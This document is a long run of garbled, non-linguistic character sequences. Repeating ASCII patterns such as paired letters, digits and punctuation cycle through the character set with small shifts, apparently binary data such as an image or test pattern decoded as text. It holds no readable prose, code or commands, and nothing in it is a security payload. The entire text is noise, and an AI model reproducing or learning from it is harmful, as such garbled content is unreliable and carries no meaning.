}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYVUVUVUVUTSTSTSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrpopopooonmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYVUVUVUVUTSTSTSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHGHGHGHGFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrooopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFEFEFEFEDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSSSSSSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCBABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>;<;<;:9:9:9:9:9:}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABA@?@?@?@?@=>=>=>=>9:9:9:9:9:9:9:9:}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrooooooponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?@=>=>=>=>9:9:9:9:9:9:9:9:}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?>=>=>=>=>9:9:9:9:9:9:9:9:}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=>9:9:9:9:9:9:9:9:}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSSSSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=<9:9:9:9:9:9:9:9:}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSSTSTSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9:}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrpopooooonmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9:}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9:}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrnmnmnmnmnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:9:987878}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqpopnmnmnmnmnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:78777777~}~}~}~}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststopopoooonmnmnmnmlklklklklklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:87878787}~}~}~}~}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststoopopoponmnmnmnmlklklklklklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSSSSSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:87878787}~}~}~}~}|{|{|{|{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststpopopoponmnmnmnmlklklklkjijijijijijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:87878787}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststpopopoponmnmnmnmlklklklkjijijijijijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:87878787878787876565656543434343212121210/0/0/0/0/0/0/.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -878787776565656543434343212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -777878786565656543434343212121210/0/0/0/.-.-.-.-.-.-.-,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+,+,+,+*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)('('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -777777876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('&%&%&%&%&%$#$#$#$#"!"!"!"!         - - - -878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!       - - - -878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%$#$#$#$#$#"!"!"!"!     - - - -878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!     - - - -878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#"!"!"!"!"!     - - - -878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!     - - - -878777776565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!       - - - -787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!             - - - -787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!           - - - -787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - - - -787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - - - - - -787878776565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - - - - 777787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -877777876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -878787656565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -656565656565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -656565656565654343434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -656565654343434343434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -656565654343434343434321212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -656565654343434321212121212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -6565656543434343212121212121210/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -6565656543434343212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - - - - ''(())**]]\\[[ZZ@AABBCCD]\\[[ZZY01122334mllkkjji !!""##$}||{{zzy |}}~~~~}} - - uuvvwwxx((''&&%%eeffgghh88776655UUVVWWXX44332211zz{{||}}}~~ mnnooppq0//..--,]^^__``a@??>>==>??@@A`__^^]]\-..//001feeddccb ++,,--..YYXWVUTSDEEFFGGHYXXWWVVU45566778ihhggffe$%%&&''(yxxwwvvu - -  ||{{zzyy ~~}} yyzz{{||$$##""!!iijjkkll44332211YYZZ[[\\00//..--~~ -qrrssttu,++**))(abbccdde<;;::998QRRSSTTULKKJJIIHABBCCDDE\[[ZZYYX12233445baa``__^//001122SRRQQPPOHIIJJKKLUTTSSRRQ899::;;>??@a``__^^],--..//0qppoonnm ~~}  tsrqpoon%%&&''((xxwwvvuu - - qqrrsstt,,++**))aabbccdd((''&&%%yzz{{||}$##""!! ijjkkllm43322110YZZ[[\\]DCCBBAA@IJJKKLLMTSSRRQQP9::;;<<=ZYYSSRRQ~~}}||77==>>??KJJIIHHGPQQRRSSTMLLKKJJI@AABBCCD]\\[[ZZY01122334mllkkjji !!""##$}||{{zzynmmllkkj))**++,,ttssrrqq - - uuvvwwxx((''&&%%eeffgghh$$##""!! }~~ mnnooppq0//..--,]^^__``a@??>>==>??@@AQPPOONNM~~}} {{zzyyxx@@AABBCCGFFEEDDCTUUVVWWXIHHGGFFEDEEFFGGHYXXWWVVU45566778ihhggffe$%%&&''(yxxwwvvujiihhggf--..//00ppoonnmm ~~}} yyzz{{||$$##""!!iijjkkll - - qrrssttu,++**))(abbccdde<;;::998QRRSSTTULKKJJIIHABBCCDDEMLLKKJJI||{{zzyy!!""##$$wwvvuuooDDEEFFGGCBBAA@@?XYYZZ[[\EDDCCBBAHIIJJKKLUTTSSRRQ899::;;>==<;:\]]^^__`A@@??>>=LMMNNOOPQPPOONNM<==>>??@a``__^^],--..//0qppoonnm ~~} "##$$%%&baa``__^55667788hhggffee%%&&''((xxwwvvuu - - qqrrsstt yzz{{||}$##""!! ijjkkllm43322110YZZ[[\\]DCCBBAA@IJJKKLLMEDDCCBBAttssrrqq))**++,,jjiihhggLLMMNNOO98776655`aabbccd=<<;;::9PQQRRSSTMLLKKJJI@AABBCCD]\\[[ZZY01122334mllkkjji !!""##$}||{{zzy&''(())*^]]\\[[Z99::;;<>==>=ppoonnmm--..//00ffeeddccPPQQRRSS44332211deeffggh98877665TUUVVWWXIHHGGFFEDEEFFGGHYXXWWVVU45566778ihhggffe$%%&&''(yxxwwvvu*++,,--.ZYYXWVUT==>>??@@``__^^]]--..//00ppoonnmm ~~}} yyzz{{|| - -  - - qrrssttu,++**))(abbccdde<;;::998QRRSSTTU=7766554llkkjjii11223344bbaa``__YYZZ[[\\00//..--hiijjkkl54433221XYYZZ[[\EDDCCBBAHIIJJKKLUTTSSRRQ899::;;>=LMMNNOOPQPPOONNM<==>>??@a``__^^],--..//0qppoonnm |{{zzyyx23344556OONNMMLLEEFFGGHHXXWWVVUU55667788hhggffee%%&&''((xxwwvvuu - -  |{{zzyyx !~~}}| yzz{{||}$##""!! ijjkkllm43322110YZZ[[\\]0//..--,ddccbbaa99::;;<>?KKJJIIHHIIJJKKLLTTSSRRQQ99::;;<>??@@QQPPOONNeeffgghh$$##""!!tuuvvwwx)((''&&%deeffggh98877665TUUVVWWXIHHGGFFEDEEFFGGHYXXWWVVU45566778ihhggffe$%%&&''(onnmmllk?@@AABBCGGFFEEDDMMNNOOPPPPOONNMM==>>??@@``__^^]]--..//00ppoonnmm ~~}} srqpoonn%&&''(()xwwvvuut - - qrrssttu,++**))(abbccdde(''&&%%$\\[[ZZYYAABBCCDDMMLLKKJJiijjkkll xyyzz{{|%$$##""!hiijjkkl54433221XYYZZ[[\EDDCCBBAHIIJJKKLUTTSSRRQ899::;;>=LMMNNOOPQPPOONNM<==>>??@a``__^^],--..//0gffeeddcGHHIIJJK??>>==<;UUVVWWXXHHGGFFEEEEFFGGHHXXWWVVUU55667788hhggffee%%&&''((xxwwvvuuiihhggff-..//001poonnmml !~~}}| yzz{{||}$##""!! ijjkkllmLMMNNOOPTTSSRRQQIIJJKKLLEEDDCCBBvvwwxxyypqqrrsst-,,++**)`aabbccd=<<;;::9PQQRRSSTMLLKKJJI@AABBCCD]\\[[ZZY01122334cbbaa``_KLLMMNNO:9877665YYZZ[[\\DDCCBBAAIIJJKKLLTTSSRRQQ99::;;<>zz{{||}}tuuvvwwx)((''&&%deeffggh98877665TUUVVWWXIHHGGFFEDEEFFGGHYXXWWVVU45566778_^^]]\\[OPPQQRRS54433221]]^^__``@@??>>==MMNNOOPPPPOONNMM==>>??@@``__^^]]--..//00ppoonnmm ~~}} ##$$%%&&aa``__^^56677889hggffeed%&&''(()xwwvvuut - - qrrssttuYZZ[[\\]LLKKJJIIQQRRSSTT==776655~~ -xyyzz{{|%$$##""!hiijjkkl54433221XYYZZ[[\EDDCCBBAHIIJJKKLUTTSSRRQ899::;;<[ZZYYSSRSYYZZ[[\100//..-aabbccdd<<;;::99QQRRSSTTLLKKJJIIAABBCCDD\\[[ZZYY11223344llkkjjii!!""##$$||{{zzyy''(())**]]\\[[ZZ9::;;<<=dccbbaa`)**++,,-tssrrqqp - - uvvwwxxy ]^^__``aHHGGFFEEUUVVWWXX44332211 -  |}}~~! lmmnnoop100//..-\]]^^__`A@@??>>=LMMNNOOPQPPOONNM<==>>??@RQQPPOON\]]^^__`-,,++**)eeffgghh88776655UUVVWWXXHHGGFFEEEEFFGGHHXXWWVVUU55667788hhggffee%%&&''((xxwwvvuu++,,--..YYXWVUTS=>>??@@A`__^^]]\-..//001poonnmml !~~}}| yzz{{||} - - abbccddeDDCCBBAAYYZZ[[\\00//..-- - - pqqrrsst-,,++**)`aabbccd=<<;;::9PQQRRSSTMLLKKJJI@AABBCCDNMMLLKKJ`aabbccd)((''&&%iijjkkll44332211YYZZ[[\\DDCCBBAAIIJJKKLLTTSSRRQQ99::;;<>==]]^^__``,,++**)) - - tuuvvwwx)((''&&%deeffggh98877665TUUVVWWXIHHGGFFEDEEFFGGHJIIHHGGFdeeffggh%$$##""!mmnnoopp00//..--]]^^__``@@??>>==MMNNOOPPPPOONNMM==>>??@@``__^^]]--..//00ppoonnmm {{zzyyxx33445566ONNMMLLKEFFGGHHIXWWVVUUT56677889hggffeed%&&''(()xwwvvuut - -  -ijjkkllm<<;;::99aabbccdd((''&&%% xyyzz{{|%$$##""!hiijjkkl54433221XYYZZ[[\EDDCCBBAHIIJJKKLFEEDDCCBhiijjkkl! qqrrsstt,,++**))aabbccdd<<;;::99QQRRSSTTLLKKJJIIAABBCCDD\\[[ZZYY11223344llkkjjii!!""##$$wwvvuuoo77==>>??KJJIIHHGIJJKKLLMTSSRRQQP9::;;<<=dccbbaa`)**++,,-tssrrqqp - -  - mnnoouuv88776655eeffgghh$$##""!! |}}~~! lmmnnoop100//..-\]]^^__`A@@??>>=LMMNNOOPBAA@@??>lmmnnoouuuvvwwxx((''&&%%eeffgghh88776655UUVVWWXXHHGGFFEEEEFFGGHHXXWWVVUU55667788hhggffee%%&&''((nnmmllkk@@AABBCCGFFEEDDCMNNOOPPQPOONNMML=>>??@@A`__^^]]\-..//001poonnmml !~~}}| vwwxxyyz44332211iijjkkll - - pqqrrsst-,,++**)`aabbccd=<<;;::9PQQRRSST>==77665uvvwwxxyyyzz{{||$$##""!!iijjkkll44332211YYZZ[[\\DDCCBBAAIIJJKKLLTTSSRRQQ99::;;<>==MMNNOOPPPPOONNMM==>>??@@``__^^]]--..//00ffeeddccHHIIJJKK?>>==<;:UVVWWXXYHGGFFEEDEFFGGHHIXWWVVUUT56677889hggffeed%&&''(()xwwvvuut ~,,++**))qqrrsstt ~~} xyyzz{{|%$$##""!hiijjkkl54433221XYYZZ[[\100//..-}~~ qqrrsstt,,++**))aabbccdd<<;;::99QQRRSSTTLLKKJJIIAABBCCDD\\[[ZZYY11223344bbaa``__LLMMNNOO98776655YZZ[[\\]DCCBBAA@IJJKKLLMTSSRRQQP9::;;<<=dccbbaa`)**++,,-tssrrqqp - - !!""#((''&&%%uuvvwwxx ~~}}| !!""##$}||{{zzy |}}~~! lmmnnoop100//..-\]]^^__`-,,++**) - - uuvvwwxx((''&&%%eeffgghh88776655UUVVWWXXHHGGFFEEEEFFGGHHXXWWVVUU55667788^^]]\\[[PPQQRRSS44332211]^^__``a@??>>==>??@@A`__^^]]\-..//001poonnmml !~~}}| #$$%%&&'$$##""!!yyzz{{|| - - |{{zzyyx$%%&&''(yxxwwvvu - - pqqrrsst-,,++**)`aabbccd)((''&&%yyzz{{||$$##""!!iijjkkll44332211YYZZ[[\\DDCCBBAAIIJJKKLLTTSSRRQQ99::;;<>==MMNNOOPPPPOONNMM==>>??@@QQPPOONN]]^^__``,,++**))effgghhi87766554UVVWWXXYHGGFFEEDEFFGGHHIXWWVVUUT56677889hggffeed%&&''(()xwwvvuut+,,--../srqpoonn,--..//0qppoonnm ~~} xyyzz{{|%$$##""!hiijjkkl! - - qqrrsstt,,++**))aabbccdd<<;;::99QQRRSSTTLLKKJJIIAABBCCDDMMLLKKJJaabbccdd((''&&%%ijjkkllm43322110YZZ[[\\]DCCBBAA@IJJKKLLMTSSRRQQP9::;;<<=dccbbaa`)**++,,-tssrrqqp~~}}||{/0011223mmllkkjj01122334mllkkjji !!""##$}||{{zzy |}}~~! lmmnnoop - - uuvvwwxx((''&&%%eeffgghh88776655UUVVWWXXHHGGFFEEEEFFGGHHIIHHGGFFeeffgghh$$##""!!mnnooppq0//..--,]^^__``a@??>>==>??@@A`__^^]]\-..//001poonnmml !{zzyyxxw34455667iihhggff45566778ihhggffe$%%&&''(yxxwwvvu - - pqqrrsst yyzz{{||$$##""!!iijjkkll44332211YYZZ[[\\DDCCBBAAIIJJKKLLEEDDCCBBiijjkkll qrrssttu,++**))(abbccdde<;;::998QRRSSTTULKKJJIIHABBCCDDE\[[ZZYYX12233445lkkjjiih!""##$$%wvvuuoon7==>>??@ !!""eeddccbb899::;;>==MMNNOOPPAA@@??>>mmnnoouuuvvwwxxy(''&&%%$effgghhi87766554UVVWWXXYHGGFFEEDEFFGGHHIXWWVVUUT56677889hggffeed%&&''(()nmmllkkj@AABBCCD - - ##$$%%&&aa``__^^<==>>??@a``__^^],--..//0qppoonnm ~~} xyyzz{{| - -  - - qqrrsstt,,++**))aabbccdd<<;;::99QQRRSSTT==776655vvwwxxyyyzz{{||}$##""!! ijjkkllm43322110YZZ[[\\]DCCBBAA@IJJKKLLMTSSRRQQP9::;;<<=dccbbaa`)**++,,-jiihhggfDEEFFGGH~~}}||{{zzyyxx !!~~}}||zz{{||}}##""!! jjkkllmm33221100ZZ[[\\]]//..--,, - - rssttuuv+**))(('bccddeef;::99887RSSTTUUVKJJIIHHGBCCDDEEFIHHGGFFEmnnoouuvwwvvuuts""##$$%%{{zzyyxx ~~nnooppqq//..--,,^^__``aa++**))(( vwwxxyyz'&&%%$$#fgghhiij76655443VWWXXYYZGFFEEDDCFGGHHIIJEDDCCBBAvwwxxyyz rqpoonnm&&''(())wwvvuutt - - rrssttuu++**))((bbccddee''&&%%$$z{{||}}~#""!! jkkllmmn3221100/Z[[\\]]^CBBAA@@?JKKLLMMNA@@??>>=z{{||}}~ - - mllkkjji**++,,--ssrrqqpp - - vvwwxxyy''&&%%$$ffgghhii##""!! ~nooppqqr/..--,,+^__``aab?>>==<<;NOOPPQQR=7766554~ - - ihhggffe..//0011oonnmmll !!~~}}||zz{{||}}##""!! jjkkllmm - - - rssttuuv+**))(('bccddeef;::99887RSSTTUUV43322110 eddccbba22334455kkjjiihh""##$$%%{{zzyyxx ~~nnooppqq - vwwxxyyz'&&%%$$#fgghhiij76655443VWWXXYYZ0//..--,a``__^^]66778899ggffeedd&&''(())wwvvuutt - - rrssttuuz{{||}}~#""!! jkkllmmn3221100/Z[[\\]]^,++**))(]\\[[ZZY::;;<<==ccbbaa``**++,,--ssrrqqpp - - vvwwxxyy  ~nooppqqr/..--,,+^__``aab(''&&%%$YXWVUTSS>>??@@AA__^^]]\\..//0011oonnmmll !!~~}}||zz{{||}} - -  - - - rssttuuv+**))(('bccddeef$##""!!~~} RRQQPPOOBBCCDDEE[[ZZYYXX22334455kkjjiihh""##$$%%{{zzyyxx ~~~~}}||{ - vwwxxyyz'&&%%$$#fgghhiij}||{{zzy !!""##$NNMMLLKKFFGGHHIIWWVVUUTT66778899ggffeedd&&''(())wwvvuutt - -  - -{zzyyxxw !!"~~}}||{z{{||}}~#""!! jkkllmmnyxxwwvvu$%%&&''(JJIIHHGGJJKKLLMMSSRRQQPP::;;<<==ccbbaa``**++,,--ssrrqqpp - -  wvvuutsr"##$$%%&{zzyyxxw ~nooppqqruttssrrq())**++,FFEEDDCCNNOOPPQQOONNMMLL>>??@@AA__^^]]\\..//0011oonnmmll !!~~}}||qpoonnmm&''(())*wvvuutts - - - rssttuuv qppoonnm,--..//0BBAA@@??RRSSTTUUKKJJIIHHBBCCDDEE[[ZZYYXX22334455kkjjiihh""##$$%%{{zzyyxxllkkjjii*++,,--.srrqqppo - vwwxxyyz - - -mllkkjji01122334>>==<;:9VVWWXXYYGGFFEEDDFFGGHHIIWWVVUUTT66778899ggffeedd&&''(())wwvvuutt hhggffee.//00112onnmmllk !!"~~}}||{z{{||}}~ - ihhggffe4556677887766554ZZ[[\\]]CCBBAA@@JJKKLLMMSSRRQQPP::;;<<==ccbbaa``**++,,--ssrrqqpp - - !!""##ddccbbaa23344556kjjiihhg"##$$%%&{zzyyxxw ~eddccbba899::;;<43322110^^__``aa??>>==<>??@@AA__^^]]\\..//0011oonnmmll 